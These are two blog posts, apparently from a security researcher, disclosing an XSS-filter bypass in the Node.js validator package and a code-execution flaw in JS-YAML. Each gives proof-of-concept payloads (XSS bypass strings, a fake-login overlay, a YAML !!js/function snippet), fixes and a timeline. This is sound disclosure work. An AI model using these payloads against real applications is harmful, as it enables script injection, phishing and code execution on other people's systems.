Tag: node
2013
07.04

Summary

The validator module for Node.js contains functionality meant to filter potential XSS attacks (a filter called xss). In looking at the implementation I discovered several bypasses for this filtering including prior work by other researchers. Although the bypasses I reported have been patched, since my discovery at least one new bypass has been disclosed and remains unpatched.

In general, because the function’s filtering is blacklist-based it is likely that other bypasses will be discovered in the future. Accordingly I would urge Node.js developers not to use the xss filtering function of this package.

What were the bypasses?

All of these were tested in the latest version of Firefox:

Improper parsing of nested tags:

1
<s <onmouseover="alert(1)"> <s onmouseover="alert(1)">This is a test</s>

Incomplete filtering of javascript: URIs:

1
<a href="javascriptJ a V a S c R iPt::alert(1)" "<s>">test</a>

Improper handling of arrays passed in (this affects JavaScript because the toString method will automatically join the elements of the array together):

1
["<s ", " onmouseover='alert(1)'>", "foobar</s>"]

UI Redressing:

1
2
3
4
<div style="z-index: 9999999; background-color: green; width: 100%; height: 100%">
<h1>You have won</h1>Please click the link and enter your login details:
<a href="http://example.com/">http://good.com</a>
</div>

Nesting of forbidden strings:

1
<scrRedirecRedirect 302t 302ipt type="text/javascript">prompt(1);</scrRedirecRedirect 302t 302ipt>

I also noticed the following comment at the top of the file:

1
2
//This module is adapted from the CodeIgniter framework
//The license is available at http://codeigniter.com/

Searching around online, I came across CodeIgniter <= 2.1.1 xss_clean() Cross Site Scripting filter bypass, written by @kkotowicz, which provided me with more working bypasses.

Workaround

If you are a developer currently using the xss filter function from the validator package, you should consider replacing it with the escape filter function from the same package. This function replaces all instances of angle brackets (<, >), ampersands, and quotation marks, so no HTML tags will be processed.

Note that XSS prevention is not as simple as just escaping those characters. For more information, check out the OWASP XSS Prevention Cheat Sheet.

Disclosure Timeline

  • March 6th, 2013: Initial report to module maintainer via email. Sent proofs of concept, etc.
  • March 10th, 2013: Developer replies, creates public issue on GitHub to track the fix. Promises to resolve the issue “ASAP.”
  • April 17th, 2013, 10:56 PM: Sent pull request which resolves issues.
  • April 17th, 2013, 11:27 PM: Pull request merged by maintainer.
  • April 18th, 2013, 8:31 AM: New version (1.1.0) released containing patch.
  • May 6th, 2013: Additional bypass disclosed publicly by taku0.
2013
06.23

Summary

The JS-YAML module for Node.js contained a code execution vulnerability prior to version 2.0.5. The maintainers of JS-YAML have patched this vulnerability and, beginning in version 2.1.0, have provided a safeLoad method for parsing YAML. Developers that use this module should make sure they have upgraded and should strongly consider porting their code to use the new safeLoad method.

Update: The code execution vulnerability has been assigned CVE-2013-4660.

Vulnerability Details

The module allowed code execution due to a custom data-type that it defined and parsed called !!js/function. The way it would parse the data was to create a new Function object in JavaScript based on the input, which is equivalent to calling eval on the input:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
function resolveJavascriptFunction(object /*, explicit*/) {
  /*jslint evil:true*/
  var func;

  try {
    func = new Function('return ' + object);
    return func();
  } catch (error) {
    return NIL;
  }
}

That meant the code snippet below, when run, would execute code instead of simply defining a function:

1
2
3
4
5
6
7
8
var yaml = require('js-yaml');

x = "test: !!js/function > \n  \
function f() { \n    \
console.log(1); \n  \
}();"

yaml.load(x);

The vulnerability was patched under 24 hours after I initially contacted the module’s maintainers: the esprima package is now used to parse the input and validate it before execution.[1]

Why switch to safeLoad

Starting in version 2.1.0, the JS-YAML module provides a safeLoad function for use by developers. It is recommended by the maintainers as the default, in place of the load function demonstrated above.

The main difference between the two functions is what types are parsed:

  • safeLoad recognizes a “DEFAULT_SAFE_SCHEMA“, which parses “all supported YAML types, without unsafe ones (!!js/undefined, !!js/regexp and !!js/function)”
  • load recognizes a “DEFAULT_FULL_SCHEMA“, which parses all tags (including those which safeLoad does not).

A proof of concept from the module’s README demonstrates why load can be dangerous:

1
2
3
4
var untrusted_code = '"toString": !<tag:yaml.org,2002:js/function> "function (){very_evil_thing();}"';

// I'm just converting that string, what could possibly go wrong?
require('js-yaml').load(untrusted_code) + ''

By overriding functions like toString with arbitrary code or providing other unexpected input, an attacker can perform malicious actions as part of a Node application. Switching to safeLoad mitigates this risk because “dangerous” types are not parsed.

Conclusion

Developers using the JS-YAML module should make sure that they are working with an up-to-date version and should strongly consider porting their code to use safeLoad in place of load, especially when accepting YAML derived from user input.

If you’re interested in the security of Node modules, be sure to check out the Node Security project.